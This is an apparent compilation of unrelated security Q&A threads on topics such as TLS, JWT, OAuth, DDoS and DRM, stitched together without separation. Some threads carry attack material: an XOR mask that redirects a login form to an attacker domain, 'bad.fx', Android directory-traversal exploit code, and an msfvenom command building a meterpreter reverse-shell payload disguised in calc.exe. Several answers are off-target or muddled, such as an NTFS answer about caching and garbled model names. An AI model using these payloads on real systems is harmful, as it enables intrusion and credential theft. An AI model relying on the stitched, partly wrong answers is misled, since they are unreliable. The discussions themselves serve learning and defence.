When the connection uses RC4, then a key-dependent pseudorandom stream is generated and XORed, bit by bit, with the data to encrypt. Therefore, if the attacker "guesses" that a given byte is the encryption of a 'A' (ASCII code 0x41) and wants to make it the encryption of a 'm' (ASCII code 0x6D), then he just has to XOR the encrypted byte with 0x2C (that's the XOR of 0x41 with 0x6D) to obtain another encrypted byte which, upon decryption, will yield a 'm' instead of an 'A'. Nothing else would be impacted; thus, with RC4 encryption, surgical alterations are easy.

With a block cipher in CBC mode, things are less easy for the attacker, but he can still enact some evil: if he wants to modify a specific byte, he can, but this will mangle the previous block. Specifically, with a block cipher, the data is a sequence of blocks of 8 or 16 bytes (depending on the cipher: 8 bytes for 3DES, 16 bytes for AES). The attacker can modify at will a block, with surgical precision, provided that he knows the initial value of that block and does not mind changing the previous block into some uncontrollable random junk.

Let's take an example. Suppose that a Web site has a login page, with an HTML form, which looks like this:

<form action="https://www.example.com/authenticate.php">
Login: <input type="text" name="login" />

Password: <input type="password" name="password" />

<input type="submit" name="Submit" />
</form>

I know it is ugly; it is just an example. When the user clicks on the "submit" button, the browser sends a POST request to the https://www.example.com/authenticate.php page.

Now suppose that this page is CBC-encrypted with 3DES (8-byte blocks) and that the '.' of '.com' happens to be at the start of a block. The attacker can then XOR the previous 8 encrypted bytes (the bytes corresponding to .example) with the following:

 00 01 0E 09 01 07 0D 5B

On the victim's browser, the form will decrypt as:

<form action="https://www########.bad.fx/henticate.php">
Login: <input type="text" name="login" />

Password: <input type="password" name="password" />

<input type="submit" name="Submit" />
</form>

Where the "########" will be some random bytes. Provided that none of them is a zero or a double-quote (chances that this happens are low), then the browser will consider them as part of the target URL. The bad.fx domain is controlled by the attacker (the "fx" TLD does not really exist; feel free to replace with your favourite "TLD for Evil people"); the attacker's DNS gleefully redirects all requests for anything.bad.fx to his server's IP address; and the attacker bought (completely legally) a wildcard certificate for "*.bad.fx". When the user enters his password, his browser connects to the attacker-controlled Web site, does the SSL, is perfectly content with the attacker's certificate (assuming that none of the '#' is a dot; again, this is probable), and sends the password.

Fortunately, SSL includes strong integrity protection, which prevents such attacks. With stream ciphers like RC4, and block ciphers in CBC mode, the integrity protection uses HMAC; newer versions of TLS can also use block ciphers in GCM mode, which integrates an equally good integrity protection. If the attacker attempted any of the stunts described above, the client (Web browser) would detect the alteration and protest and refuse to use the decrypted page. See the standard, section 6.2.3.


Advantages to alphanumeric-only usernames? Let's say we are setting up some registration form for some website. I know that if input fields aren't sanitized then SQL injection can happen. But let's say all fields are sanitized correctly.

Is there any advantage to having alphanumeric-only usernames? Or is it just as good to allow any symbol?

If you allow any sequence of bytes as an username, you'll get a lot of possible problems users can abuse, and other issues:

For unicode, the same character sequence can be represented as different byte sequences. You'll have to do Unicode normalisation in order to get at least some security against people being able to register another byte sequence representation for some username.
Users can chose similar looking characters (e.g. use two spaces instead of one, etc.) in order to fool people into believing it's some other account.
Users could include the / character inside their name, and change links to pages related to their account (e.g. you assign account urls to http://example.com/user/username, and your code splits by /).

Most sites drive the approach that they assign two values for a user: first, a "technical ID", which is alphanumeric, and a second "full name", which can contain spaces and other symbols. The alphanumeric ID has to be unique, and the "full name" can contain duplicates over your site.


Why refresh tokens are used Reading about JWT I see it is common practice to include a refresh token along with the short lived token. So commonly it seems you have a short lived token which lasts for a short time such as 15 minutes, and a refresh token which renews this token when it is expired. From my understanding if the short lived token has expired the app must check to make sure the refresh token has not been revoked (check database). If it has not, then issue a new short lived token. I am trying to understand why not just have a single short lived token.

Lets assume the jwt token contains the username of the user using the token and expires in 1 hour. When it expires, can't my application server verify this token to make sure it is actually expired and it has been issued by me, if so check (inside of database) that this user can have their token renewed and renew it. Is this not essentially the same as having a refresh token, but it is a little simpler as I the user only has 1 token instead of 2? I cannot see the advantage of having a refresh token?

I'm assuming you are using some proprietary authentication solution, which is using JWT and refresh tokens but has nothing to do with OpenID Connect.

JWT tokens are stateless, refresh tokens are usually statefull.

You should look at advantages and disadvantages of statefull vs stateless tokens:

Stateless tokens can be validated without extra DB/Service call (so they are faster/easier to validate) but it is impossible to revoke them (no reliable logout).
Statefull tokens may be revoked (reliable logout) but they must be validated via DB/Service call each time (so they are slower).

Long-lived JWT tokens would constitute an increased security risk - attack window would be long if token is stolen.

In combination with refresh tokens, you get the solution somewhere in the middle: Validation is fast and logout is more reliable.

Depending on where which token is used (client vs server), you could implement automatic refresh. However, for such proprietary solution, you could indeed use a single token with a validation cache if necessary due to performance reasons.


Storage on Root CA and intermediate CA certificate on Embedded device Regarding the storing of Root CA certificates on an Embedded device

Setup Explaination:
1. An embedded device which is a CLIENT on the network
2. There is a SERVER which connects to the CLIENT on SSL/TLS

Also we can access the server from any web browser.  We have extracted the the following certificates from the web browser when connected to SERVER.

The certificates are

1.  Root CA
2.  Intermediate **CA Domain validation CA.**

It is seen that in the  browser it is stores as a chain of certificates.

Now the query is do we need to store both of the certificates on our embedded devices or any one is sufficient.  If only one then it should be a root CA or intermediate Domain Validation CA certificates.

Kindly need inputs asap.

Thanks in advance.

Regards,

SSK

Embedded device or not, the only requirement is that you have to be able to follow the cert chain up to something you trust. So if your server is indeed delivering the whole chain (as you seem to imply it), you'd only need to store the Root CA in the embedded device.


Can the server crash while testing with the sqlmap tool? When I was pentesting a cpanel web app I've got some passwords but while reading the tables the server went offline.

I can exclude that my ip wasn't blocked because I tried to access the server through VPN and got the same results "server offline".

I could still ping the web app by url and by ip.

The backend is MySQL.

Question: Did the server crash or did it blocked my browser by identifying through a cookie?

EDIT 1
after checking the site with isup.me it seems to be down what caused it?

Firewalls don't block you by cookie. (But to double-check, you can always try incognito mode). Most likely you got IP banned by the WAF. Since VPN is using a different protocol and has nothing to do with your webserver, it should be working.


Additional Protection Against DDoS We have subscribed to an upstream ISP's protection service to protect against DDoS. I am thinking of developing a incident procedure in case my ISP's DDoS mitigation fails (highly unlikely right?).

What contingency plans should I have?

Blacklisting IP addresses or ranges at my firewalls
Patch my systems with latest updates
What else?

Like Neil Smithline already said: if the attackers can outsmart a usually reliable DOS protection then there is nothing much you can do to protect yourself. That means that you should not focus on fighting or blocking the attack itself (leave that to the experts), but on reducing the impact of the attack. This might include:

Reduce your attack surface by making only services public that need to be publicly available. That is don't expose your database if it is only needed as a backend for some web services.
Have sites all over the world or have the ability to easily setup an alternative site (somewhere in the cloud) so that at least part of the sites still work even if the others are attacked. Using DNS you then can make sure that mainly the good sites are accessed by the customers.
Make sure that attacks on public sites don't affect internal sites, i.e. it would be bad if you hosted some internal application on affected public systems and could not proceed with your internal business if public sites are attacked.

These are just some general concepts. Of course details depend on the kind of DOS attacks (bandwidth, application level DOS, flood  of spam mail affecting specific recipients....), how critical all of this is for your business, which services are exposed to the public at all etc.

  Patch my systems with latest updates

This will not specifically help against DOS, but of course you should keep your systems always current.


How to catch people creating many accounts on the same website using very unique credentials? Nowadays e-commerce is the new trend compared to the retail stores, but some sellers will manipulate their rankings through false purchases of their own items to boost rankings significantly. The thing is, they cannot do this at the location at where they are opening their seller accounts as the site will save their information. So what they do to make a new account is:

Buy a new disposal sim card to get a new and unique number.
Use a different mobile phone (To receive SMS codes as some websites may use metrics such as their ANDROID_ID to detect the device used)
Use a different and unique PC with a different wifi network to make the purchase. (such as internet rental cafes or public computers)
Create a one time use e-mail using the new mobile number.
Pay with methods that are offline without need for identification (such as 7-eleven stores, and other convenient methods that just requires the transaction number)

With this being said, there is almost no fingerprints left behind to find out if it is indeed being purchased by the item's own seller. The sure way to catch them is to contact the person who sold the mobile phone and find the phone's unique identification details as to who the owner of the phone is (assuming the phone isn't stolen), but this is time consuming and unlikely.

What are other ways can the e-commerce website trace these activities?

All you can do is make it more costlier to perform such kind of activities but it could end up in negative effects on genuine buyers. For example one who owns 51% of hash power in any of the crypto-currency could rule the crypto-currency.  But the cost of owning 51% of hash power is very expensive. Likewise make your system more expensive for buyers, if you have implemented the mechanisms posted in your questions like unique phone number verification, email address verification and so on it is sufficient.

If you are requesting way too much of personal information then complexity of creating buyer accounts will increase. New buyers will not give way too much of their personal information in your site.

The best way to solve this problem is by implementing "Payment verification" on the buyer side. That is to verify their credit/debit cards. This will prevent the fraudsters creating more and more fake accounts. Implementing Payment verification is easy for you and for the buyer. The stress of requiring so much of personal info is on the bank and fraudsters cannot easily request 100s of credit cards from the bank.


Bypassing a reverse proxy/NAT Reverse proxies and NAT would seem to obscure a network behind such technologies to the point where it would be hard if not impossible to identify ports open and services running.

Given that many networks use these technologies I assume it is possible to bypass them in some capacity.

I am just wondering how that may be possible, and it if would be astonishingly simple or extremely difficult.

A number of ways, but none of them easy

A Browser compromise served from an external site where you can ask a user to view a web page from the inside of the network.

Compromising the Router/Firewall/Reverse Proxy box that re-directs the content to the actual internal/dmz web server.

Compromising the internal/dmz web server or db server through injection attacks.

Compromising the dns of the upstream provider can do it.

Man in the Middleing all their traffic if you can.

I might have just made a simple question into a much more general one ... my bad.


if a public key cannot decrypt the cipher text, then how can a private key? I understand the "public" part of public key cryptography. Not the "private" part.

For example, let's say our public key is %7 (modulo 7). And the message to be encrypted is 22.

And we know that 22 % 7 = 1

Here, 1 is the encrypted message.

The reason why public keys work is that despite knowing the public key (%7) and the encrypted message (1), I cannot confirm that the original message was 22.

So, this begs the question, how does the private key figure out that the original message was 22?

What you presented is not an encryption scheme, you just took a number and modded it by 7. This can not be an encryption scheme because there is more than one "message" which will produce the same "cipher text", for example:

the message 22 produces the cipher text 22 % 7 = 1
the message 29 produces the same cipher text 29 % 7 = 1
the message 36 produces the same cipher text 36 % 7 = 1
. . .

So your question:

  how does the private key figure out that the original message was 22?

It doesn't because for the cipher text "1", there are an infinite number of possible original messages.

What you have looks kinda similar to RSA, so I'm guessing that you read something about RSA and are trying to work through the math. There's a nice easy sample calculation of RSA here that you could try working through.

For a more detailed description of the math of RSA, you can go to the wikipedia page for RSA.

Edit: in comments you said:

  if a modulo (public key) produces a result that cannot be reverse engineered, then how is the private key able to do it?

Alright, let's walk through that example of RSA.

You choose two primes, let's take p = 3, and q = 11
You compute n as n = p * q = 3 * 11 = 33
You compute φ(n) = (p-1)*(q-1) = 2 * 10 = 20
You choose a public exponent e such that 1 < e < φ(n), and that e and n are coprime. e = 7 will do.
You choose a private exponent d such that (d * e) % φ(n) = 1. d = 3 will work since (3 * 7) % 20 = (21) % 20 = 1

Now your public key is (7, 33), (e, n), and your private key is (3, 33), (d, n).

Ok, now let's say that you want to encrypt the plaintext message "22", as in your question. The encryption calculation is: m^e % n = c, where m is the original message and c is the ciphertext, so 22^7 % 33 = 22 (heh, that's a coincidence), so the encrypted message is "22".

Now, the person who has the private exponent d can decrypt the ciphertext by calculating c^d % n = m, is our example 22^3 % 33 = 22.


Why does my TLS v1.2 handshake take 2 tcp/ip connections? All, I have an HP VuGen client that is using 2 TCP/IP connections to do the TLS v1.2 handshake with my server when mutual authentication is enabled.

According to Wireshark, the sequence is approximately this:

Client SYN
TLS v1.2 client hello
Server sends server hello, certificate, server key exchange, certificate request, server hello done
Client FIN's the old connection
Client SYN's a new connection
Server handshake failure on the old connection (out of order packet)
TLS v1.2 client hello
Server hello, certificate, server key exchange, certificate request, server hello done
(everything is ok after this)

Neither Openssl nor a standalone java client exhibits this same behavior.  When the server asks for the client certificate the first time, they send it.

With VuGen, I can't see anything different about the two client hello message, nor the server responses.  There are definitely two connections, though, because there are 2 FIN's from the client using 2 different outbound ports.

Why would the client do this?

FWIW, it doesn't matter whether I go through a load balancer or not.  I get the same behavior.

I believe this has something to do with the server asking for the client certificate because the same server has another non-MA port open that is otherwise configured the same and the VuGen client only makes a single connection there.

Thanks

As far as I understand the aim of LoadRunner (i.e. the software which VuGen is part of) is to simulate a real client like a browser. If a browser connects first to a web site which requires a client certificate then the browser has to interact with the user to find out which certificate should be used and to get the password for the private key. In this case the browser will not stall the handshake, but close the connection, ask the user and then reestablish a new connection. My guess is that LoadRunner tries to simulate exactly this behavior.


Bell-LaPadula and Biba Together Theoretically, could the Bell-Lapaluda security model be implemented with the Biba integrity model in an Operating System?  Or do are they mutually exclusive?

[Edit: Follow up from this question on SU]

They're definitely not mutually exclusive, because they're orthogonal, they deal with different issues altogether.  One deals with confidentiality, the other with integrity.  @AviD pointed out correctly that the combination of both is called the 'strong * property' which disallows reading or writing from any other level but your own.  This idea was introduced to battle the problem inherent to Biba-LaPadulla:  no state.  If you have three levels, A, B and C, and B can read from A and write to C, then you can traverse data from A to C, even though there are no explicit rules allowing such transfer.  The whole 'no state' thing is so severely limiting that the Biba-LaPadulla is really only taught to security students as the first and simplest security model, it's really a toy, an educational construct.


Sending data form registration forms I understand that sending data from the user to the server, unencrypted, is a bad practice.  That is logical.

So how do I encrypt 'userside' and send the data to the server in encrypted form?

Can anyone suggest a good practice example?

What are the advantages and disadvantages of encrypting in Javascript?  (What if the user has disabled Javascript?)

The standard solution is to use SSL (HTTPS).

Please spend some time with the search tool on this site.  You will find these questions have all been answered on other questions, so you can find lots of good information.  For instance, a search on "Javascript encryption" will find a lot of information about the pitfalls of encrypting on the client-side in Javascript.

Make sure to learn about how to enable SSL sitewide; about HSTS; and about the secure flag on cookies.

In general, I recommend OWASP as an excellent resource with a lot of information about good practices for securing web services.


It's still possible to email spoofing to Google I would like to know if it's still possible to spoof an address from, for example, no-reply@company.com when sending to Gmail. I've tried sending a spoofed e-mail to other mail service and it performs the spoof successfully.

What I am missing?

It will depend on whether the spoofed domain has an SPF policy and other factors internal to Gmail spam filters.

With a strict SPF policy on the domain it shouldn't be possible at all.

With strict DKIM it shouldn't be possible either.

With neither, it might still get filtered by Gmail (or other providers) depending on the originating host address, its configuration and probably other factors the big providers weigh in.

Getting filtered could mean it will land in the user's spam folder, it will be silently dropped, or it will be rejected during the SMTP session with the sender host.


What are the risks associated with relying on IPSec IP Filtering? When using Windows IPSec for IP filtering whenever a filter is added you need to have a "mirror" rule (by checking the "Mirrored. Match packets..." tickbox).

Because IPSec Filtering is not stateful, if you don't have this option enabled then you can't communicate in both directions. From this article, I quote:

  If you don't mirror your rules, then
  you can't communicate in both
  directions. IPsec is not "stateful" in
  the way that Firewall is - if you have
  a rule from A to B without the B to A
  component, then IPsec on A will drop
  all traffic from B, even if it is the
  response to request sent by A. That's
  part of what makes IPsec so difficult
  to effectively use as a firewall.

If I have a rule that says:

  Allow inbound connections to my IP address to port 5666 from any port on remote host 172.16.3.200

Which would be implemented as:

netsh ipsec static add filter filterlist="NAGIOS NSClient"
      srcaddr=172.16.3.200 srcport=0
      dstaddr=ME dstport=5666
      mirrored=yes
      description="Inbound"
      protocol=TCP

Would the "mirror" rule be:

  Allow outbound connections from my IP address from port 5666 to any port on the remote host 172.16.3.200

What are the security risks of such a configuration with regards to unwanted traffic?

Depending on the service the outgoing port is usually different from the incoming port, and is often randomly assigned. So the mirror would be from any port on localhost to 5666 on the remote host. The risk depends on the IPSec mode: transport or tunneling. I would say the most likely threat would be on availability. In transport mone the destination IP and port are in the clear, So an adversary could attempt to flood the destination port.


Directory traversal sample code I'm studying 'Directory traversal' attack in Android applications using this link

I understand the concept behind the vulnerability that the input needs to be sanitized properly before opening any file. I wanted to test the vulnerability, so I have some sample code that I wrote.

I have 2 apps (AppA and AppB), and my motive is to exploit the vulnerability in AppA's content provider openFile method. It is as follows:

@Nullable
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    String path = Uri.parse(DETAILS_DIRECTORY + uri).getLastPathSegment();
    File file = new File(DETAILS_DIRECTORY, path);
    Log.v ("gaurav", "path : " + path);
    Log.v ("gaurav", "File exists: " + file.exists());

    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

where DETAILS_DIRECTORY is :

private static final String DETAILS_DIRECTORY = "abc/efg/";

So, using directory traversal my motive is to access

/storage/sdcard/hello_world/logs

The code used for exploiting the vulnerability is (in AppB) :

String target = "content://com.android.AppA.Provider/friends/" +
            "%2E%2E%2F%2E%2E%2Fstorage%2Fsdcard%2Fhello_world%2Flogs";

ContentResolver cr = mContext.getContentResolver();
FileInputStream fis = null;
try {
      fis = (FileInputStream) cr.openInputStream(Uri.parse(target));
} catch (FileNotFoundException e) {
      e.printStackTrace();
}

What I understood from the above link is that it's indeed possible to access some file in some other directory (other than the default configured directory, which is DETAILS_DIRECTORY in this case). But if I run both apps, and try to attack, the final path I get is of the form /storage/sdcard/hello_world/logs which is indeed correct but file.exists() gives me false in the log, and it also causes FileNotFoundException for the obvious reasons. Is there any way I could go upto the root directory and access
the desired path? I'd really appreciate some help regarding this.

UPDATE : It all boils down to the fact that when I have filepath as "/storage/sdcard/hello_world/logs", everything works fine, and all methods (canRead(), isFile(), exists()) return true, but when the file path is "/abc/efg/../../../storage/sdcard/hello_world/logs", methods return false, and file is not found. So I'm unable to understand how to use file API to access files which contain "../" in their path.

Is abc/efg a valid directory? Please check. If it doesn't exists, it might not be able to resolve the path, and that's why those methods are returning false. Just make this small check. May be you could figure out the bug in the directory path somewhere. So I hope 'abc' and 'efg' are valid directories.


What's the point of the client secret in OAuth2 if it doesn't need to be used? Simple as that!

Clients that can't maintain the secrecy of the client_secret in OAuth2 don't have to use it.

So what's the point of having it at all, if it's not necessary? What am I missing here?

There are a number of different grant types supported by OAuth 2.0, and they enable the client application to interact with a resource server on behalf of the resource owner in different ways.

There are security implications to using an implicit grant, which is the type that does not require a client secret.  Specifically, in this authorization flow, the client (since there is no client secret) is entirely reliant on the resource owner (the user with the browser, generally) to obtain, present, and retain the access token.   This significantly raises the bar required for protecting the token (you really can't have an application relying on this grant type that isn't completely protected by TLS/HTTPS) and there's additional risk of the token being stolen and misused without the client application's knowledge.   Because of these additional risks, the RFC specifically recommends that you not rely on implicit grants unless you have to.

If your application does have the ability to properly protect a client secret, it is recommended to use the authorization code grant type instead.   This allows the authorization flow to be managed via the application, and removes the requirement for the resource owner to handle the authorization process externally, and opaquely to the client.  This means that the client can protect the access tokens as well, and does not need to rely on the users to keep them safe.

So, the client secret is not an extraneous option.  It is an integral part of the preferred option.  The implict grant type that does not require a client secret is simply a last resort of sorts for client applications that do not have the ability to implement a better option.


Practical example of pentesting using msfvenom I'm updating a small article that is out of date, but I don't know a lot about pentesting.

The framework is mfsvenom and the code is:

msfencode -x calc.exe -t loop-vbs -o final.vbs

Before it was used msfencode and msfpayload but now is out of date. I tried:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=localhost LPORT=number -f vbs ...

It's only because some user asked me about one article of pentesting if it was possible to do with msfvenom. But I don't know how to update it correctly.

Meanwhile in msfencode:

-x told msfencode that you want to use calc.exe as template;

-t is the output format;

-o output file.

To convert it to msfvenom it does not change to much:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=localhost LPORT=number -x calc.exe -f loop-vbs -o final.exe

Note that the only [flag] change in the msfencode perspective is from -t to  -f.

You can execute msfvenom --list formats to know the available output format .


What's most standard way to secure internet connections and protect privacy? It's common knowledge that Wi-Fi, or other Internet connections, should be encrypted via a VPN to be secure, and to hide our real IP address from intermediary network observers. However, one can't trust one's VPN provider to be an exit point for all of one's Internet activity, because not all websites support HTTPS, and a VPN provider can observe any of your HTTP transactions. For example, I'm posting this question over HTTP now.

To solve this problem, I purchased my own VPS to run my own VPN. A good start, but there's still a problem.

In China, most of the VPN protocols are blocked. L2TP, OpenVPN, and SSH are recognized, and blocked, by the port or handshake they use, and additionally, some of them are very difficult to set up on a server. So I'd like to try a custom Tor Bridge, because it's very easy to set up, and the Obfsproxy project promises protection against DPI -- so it can't be blocked by Chinese ISPs.

My questions are,

Does Tor really provide VPN security features similar to an OpenVPN connection?
Is it possible to use one server to provide a Tor proxy, or do I need additional servers?
Can I really trust Tor Obfsproxy Bridge? By that I mean, what is the encryption method? Which authentication method is used?

To me, it just looks like a proxy which anyone can use to execute a man-in-the-middle attack, as with PPTP VPNs.

TOR does not provide security, TOR only provides anonymity.

TOR will help you if your internet connection is being monitored. But your information will exit TOR unencrypted through an exit node. Exit nodes should not be trusted at all. Anyone can run an exit node. There was a security researcher who installed many exit nodes and intercepted a lot o confidential information from people who were using TOR for security like a VPN service. It is better to trust a VPN service than TOR.

Obfsproxy is used to change how TOR traffic looks like. Your network admin or your ISP might be blocking TOR traffic from your computer. You can use Obfsproxy client and server to make TOR traffic look like normal HTTP or Skype traffic and bypass such filters. Obfsproxy provides a new layer of encryption to hide the presence of TOR traffic inside but it has some limitations presented in this threat model: https://gitweb.torproject.org/obfsproxy.git/blob_plain/HEAD:/doc/obfs2/threat-model.txt. You don't need to trust a public Obfsproxy server/bridge because it only proxies your encrypted TOR traffic.

If you use your own Obfsproxy server, you can improve security by adding a shared secret parameter to the command line, so anyone who doesn’t have this secret key won’t be able to use your obfsproxy server or decrypt your traffic:

# screen obfsproxy --log-min-severity=info obfs2 --shared-secret="scretpsword" --dest=VPS_IP:443 server 0.0.0.0:80

$ screen obfsproxy --log-min-severity=info obfs2 --shared-secret="scretpsword" socks 127.0.0.1:9999


Does revoking a certificate result in revocation of its key? If I request my identity certificate to be revoked for any reason other than key compromise, would the private key also be revoked in result?

There is no revocation of different parts of the certificate, i.e. a certificate is either revoked in full or not revoked at all. This also means that the certificate itself is revoked and not the key of the certificate, i.e. other certificates which use the same key are not affected by the revocation. And this means that you are free to reuse the key for another certificate.


SSL Proxy as a man in the middle Does man in the middle realy work using proxy? i guess this works in an enterprise network where an administrator has access to the internet access, yet in a real network, if one tries to set on a mobile network on the PGW or GGSN, can a proxy fool the other side to trust the CA?

A SSL intercepting proxy by itself cannot fool anybody. The CA used by the proxy to generate the new certificates must be trusted by the client or otherwise the validation of the certificate will fail. This is true inside and outside of enterprise networks. The main difference is that in enterprise networks there is usually an administrator who has control of the client systems and install the necessary certificates there without help from the user and so the user might not notice.

But, even outside enterprise networks silent SSL interception might be possible if the attacker can use a CA certificate which is trusted on the client system and where the attacker has the private key. Such situation could for example be created using malware. But such certificates might already reside on the users system. For example there is the infamous Superfish adware which was shipped with Lenovo systems and which has installed a trusted CA certificate on the clients system to inject ads into HTTPS traffic. Even worse this certificate was the same in all installation and the private key could easily be extracted. Thus if one user still has this certificate as trusted on the system an attacker might use it inside a man in the middle attack and the user will not notice.

There are also other cases where such attacks are possible. For example several Antivirus products do SSL interception and some fail to properly validate certificates. Since in such cases the browser is no longer responsible for the certificate check but some software with a broken validation, a stealth man in the middle attack can be mounted. See The Security Impact of HTTPS Interception for details.


Using a stolen certificate on a server Yesterday I asked the following question regarding what would happen if you placed a stolen certificate on your own server and edited the 'host' file so that the DNS name matched:
Could a stolen certificate show as trusted?
I now know the website in the browser wouldn't appear as trusted, but I have a couple of follow up questions:

Would the 'identity'/authentication part possibly show as trusted (even though overall the 'padlock' would still show as untrusted?) Before the SSL/TLS handshake, the diagrams I've looked at show that the protocol authenticates the server first. On Chrome, if you click the padlock > connection, there are two parts, identity and connection. The identity part is the authentication and am I right in thinking this would pass with a stolen certificate if the DNS name was correct? The signature would still be valid I believe as it hasn't been modified therefore will hash to the same value and has been signed by a trusted agent.

The answer to the question I linked above explained the reason the connection would show as untrusted is the private key is needed on the server to complete the SSL/TLS handshake. My question is, how is the private key used in the handshake (not looking for too much depth).
Am I right in thinking either RSA or Diffie-Hellman can be used to create a shared symmetrical secret key in SSL/TLS, depending on how it is implemented? I understand why a private key is needed with RSA, a random number is encrypted by the client with the servers public key and sent to the server and decrypted with the private key. When I look at a certificate and see a public key, is this always the RSA public key? And is it only used if RSA is the method for generating the secret symmetrical key?

If DH is used instead of RSA, is the public key ever on a certificate, or are both the public and private keys created when the connection is made and temporary. Could a SSL/TLS connection not then be created with the attackers server and the stolen certificate would authenticate the server (if the DNS names matched).

I know DH is susceptible to MITM attacks and that's why certificates are used for authentication, but if a stolen certificate could authenticate the fake server, could a SSL/TLS connection with DH happen to a fake server using a stolen certificate?
If anyone could help clear up the above three questions it would be greatly appreciated.

Regardless of whether DH or RSA is used - First, the server presents its certificate (which contains the server's public key) to the client immediately upon an HTTPS connection.  Then, the client and the server negotiate the SSL/TLS protocols and ciphers to be used to facilitate the HTTPS connection.  So the same certificate (and thus, the same server public key) are used regardless of whether RSA or DH is used.

If DH is used, the server uses its private key to create a digital signature, which the client then verifies using the server's public key from the server's certificate, to authenticate the identity of the server.  Aside from this, the server's private and public keys are not used for anything else during the session.  With DH, the keys that are used to encrypt the data being sent back and forth between the client and the server are ephemeral - meaning that the keys are used once and not reused.  For more info on this, see How ECDHE is signed by RSA in ECDHE_RSA cipher.  But, as you can see, it is necessary for the server to have the private key that corresponds to the public key in the certificate, to create a digital signature, which the client then uses to verify the authenticity of the server, in order for DH to proceed.

If RSA is used, your statement "I understand why a private key is needed with RSA, a random number is encrypted by the client with the servers public key and sent to the server and decrypted with the private key." is correct.  This session key is then used with a symmetrical encryption algorithm (such as AES) to encrypt the data being sent back and forth between the client and the server.

So, regardless of whether RSA or DH is used, the server must have the private key that corresponds to the public key in its certificate, in order to complete the SSL/TLS handshake, so that an HTTPS connection can be established - and I strongly doubt that any widely used browser would indicate that a site is trusted without being able to establish an HTTPS connection with it.


My own simple web server + nginx as a reverse proxy Say I've created my own web server from scratch. Very-very simple and vulnerable. I'm going to use it in production. Despite it being vulnerable, will it be feasible to run it with nginx and configure nginx as a reverse-proxy?

    Internet <-----> nginx <----------> my server

Will this mitigate the consequences since my own server won't be exposed to the internet but work internally.

"Maybe" and "sometimes" are the only answer you can get. nginx may stop malformed requests from reaching your vulnerable server however it'll only break on things it doesn't understand and kick out an error. An exploit can be entirely syntactically correct in which case nginx won't/can't protect you.

Without an in depth audit of your server code nobody will be able to know. If you're using this in an actual production environment you really ought to use a real web server framework because it's likely more secure.


OCSP Responder certificate - CRL distribution points and AIA OCSP URI I am building OCSP responder and I need to issue OCSP Signer certificate from CA that will be used to sign OCSP responses.

In a definition of certificate profile for OCSP Signer certificate, should I define CRL distribution points or AIA OCSP URI?

As for OCSP URI I think it does not make any sense as it would be pointing to the same URI where responses with the same OCSP certificate are signed. Then I can't trust OCSP response when asking if the OCSP Signer certificate is valid.

Using CRL distribution points may be usefull so anyone can check if the OCSP Signer certificate is valid through different path (channel).

Does it make sense for the OCSP Signed certificate to include CRL distibution points and OCSP URI?

In a definition of certificate profile for OCSP Signer certificate, should I define CRL distribution points or AIA OCSP URI?

RFC 6960 allows such configuration, however in practice there is no real benefit, because you will have other 3rd party source to validate OCSP signing certificate. When OCSP signing certificate includes id-pkix-ocsp-nocheck certificate extension, it is not validated for revocation.


eBay account compromised/Credit Card used/Hosts files changed To preface this, I'd just like to let you know that I'd consider myself an intermediate security guy(Definitely not a novice, not yet an expert) I do have a story to tell, and would like to know if you guys have any ideas as of what happened.

1. The call
My friend received a call today(From his supposed credit card company) , that his credit card was charged three days ago on eBay for the amounts of $1, $10, and $40 dollars. He responded to the call right away (He did not give away any personal information about the card or himself, he just gave his address to verify himself and the woman on the phone simply asked him if he had completed the purchases or not.) He of course said that he did not authorize those purchases. He then asked me if I could see why his computer could not access eBay.com.

2. eBay.com
Typing eBay.com into Chrome was giving him a page not found error(he could access every other website.) He tried on his sons laptop and he could log in just fine. The first thing I did was go to his hosts file. To my surprise (for the first time) there were additional entries in it. There was a list about 30 lines long of eBay domains/sub-domains that were pointing back to localhost. Real fishy.

3. My advice
He told me that he doesn't believe that his credit card was on file with eBay or PayPal so he didn't know how they could get that information. My advice was to change all of his account passwords and to keep track of his billing statements. I also got rid of all of the eBay hosts file entries to give him a clean slate.

4. How?
How could this have happened? Just trying to overwrite the hosts file in Windows 7 is a pain. Having to go through Administrative access and all. I told him that it was possibly a phishing attack. I don't know how they got to his hosts file though. All of the hosts file entries were somehow only involving "eBay" and no other retailers. Coincidence? I think not.

5. His setup, and my question
He has a simple i3 Asus laptop running Windows 7 (I did a clean install when he purchased it 3 weeks ago.) All he uses the laptop for is the internet. Clean Win 7, Google Chrome, and Microsoft Security Essentials with real-time protection turned on. Nothing else. How could this have happened? I'm really clueless. Any feedback is welcome.

Well not all exploits are in the overt yet. Obviously these guys know one. They also seem to be quite bold to just contact their victim.

I have heard of this before with  a 2 way authentication mechanism for a bank, where the misfeasors called their victim too.

What I can think off immediately:

Your ISO was not an official one and it already contained backdoors
He got infected with an unknown virus
Essentials just failed to detect it


How files are allocated to memory in NTFS? If a file is deleted in memory which is using NTFS and after that, I copied a new file, then where is the new file is allocated in memory?

Is the file allocated in the deleted memory space or it is allocated randomly?

note:
both the deleted file and new file have the same size

If a cached file is deleted and a new file is copied, both the files' contents remain in the filesystem cache. This is because most filesystem caches use the Least Recently Used (LRU) policy. From Wikipedia:

  Discards the least recently used items first. This algorithm requires keeping track of what was used when, which is expensive if one wants to make sure the algorithm always discards the least recently used item. General implementations of this technique require keeping "age bits" for cache-lines and track the "Least Recently Used" cache-line based on age-bits. In such an implementation, every time a cache-line is used, the age of all other cache-lines changes.

When accessing caching the files A, B, C, D, E, D, and F on a system with room for four files shows the following access pattern when using LRU. A filesystem cache has room for far more than four files.


DRM using embedded private key I've started learning about cryptography used for DRM solutions, and curious to know if this is a valid solution for a custom embedded system running purchased software assets.

ECDSA public / private key is generated before device manufacture.

Private key is embedded in device, and public key is registered on company server against device's serial number.

When software is purchased, the hardware's serial number is sent to server as part of the transaction.

Before being made available to download by purchaser, the software is encrypted using the hardware's public key, associating the software with that particular hardware.

Once stored on the hardware, the software is decrypted Just In Time for execution using the embedded private key.

While this system may be functional and may deter the inexperienced and slow down others, this is ultimately not an effective defense.

The problem lies with the fact that the private key is embedded in the device, and the customer who has purchased said device has unrestricted physical access to it. Communicating with debug interfaces, taking memory dumps, shelling the device etc. may allow the private key and/or the proprietary software to be recovered. The ease of this may depend on the design of the device's hardware and software, but it is likely beaten with enough time and effort in any case.

In short, once someone else has possession of the device, you can't expect confidentiality of anything stored on or processed by it.


